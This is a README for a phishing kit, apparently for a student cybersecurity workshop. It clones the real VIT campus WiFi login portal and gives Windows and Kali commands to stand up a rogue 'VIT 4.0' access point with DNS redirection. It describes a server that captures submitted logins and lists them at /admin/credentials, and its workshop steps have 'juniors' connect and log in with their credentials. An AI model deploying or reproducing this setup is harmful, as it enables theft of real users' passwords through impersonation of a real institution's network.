Evil Twin WiFi Attack - Campus Portal Replica

Exact replica of the VIT Campus WiFi login portal for Techloop+ cybersecurity workshop demo.

Quick Start

npm start only runs the web server – it does NOT create the "VIT 4.0" WiFi. You must create the hotspot first.

Windows (no Kali VM)

1. Create hotspot: Settings → Network & Internet → Mobile hotspot → Edit → Set name to VIT 4.0 → Turn ON
2. Start server: npm install then npm start (run terminal as Admin for port 80)
3. Connect your phone to "VIT 4.0", then open http://192.168.137.1 in browser

See windows-setup/README.md for details.

Kali VM (full captive portal)

cd kali-setup && sudo ./start.sh   # Creates VIT 4.0 AP
# In another terminal:
npm install && sudo node server.js

For testing without admin rights, use port 8080:

PORT=8080 npm start

Files

• public/index.html - Login page with IMPORTANT INFO modal
• public/success.html - Access Granted page (shown after login)
• public/WiFi Login Portal initial_files/ - Fonts and banner assets
• public/WiFi Access Granted_files/ - Fonts and banner assets
• server.js - Express server that captures credentials
• kali-setup/ - Configs and script for Kali VM/Live USB
• windows-setup/ - Windows hotspot script and instructions

Endpoints

Path	Description
/	Fake login page (captive portal)
POST /login	Captures credentials, redirects to success page
/admin/credentials	View captured credentials (JSON)

Kali VM Setup (Recommended)

1. Pass USB WiFi adapter to Kali VM (VirtualBox: Devices → USB; VMware: VM → Removable Devices)
2. Copy this project to the Kali VM
3. Edit kali-setup/start.sh - set AP_INTERFACE and INTERNET_INTERFACE
4. Run in Kali:

   cd kali-setup && sudo ./start.sh

5. In another terminal:

   npm install && sudo node server.js

6. Connect to VIT 4.0 - captive portal opens automatically

See kali-setup/README.md for full instructions.

Workshop Setup (Alternative)

1. Create rogue AP "VIT 4.0" (hostapd or Windows hotspot)
2. Configure dnsmasq to redirect all DNS to your machine
3. Run this server on port 80 (or use iptables to redirect 80→8080)
4. Tell juniors to connect to VIT 4.0 and log in
5. Show captured credentials at /admin/credentials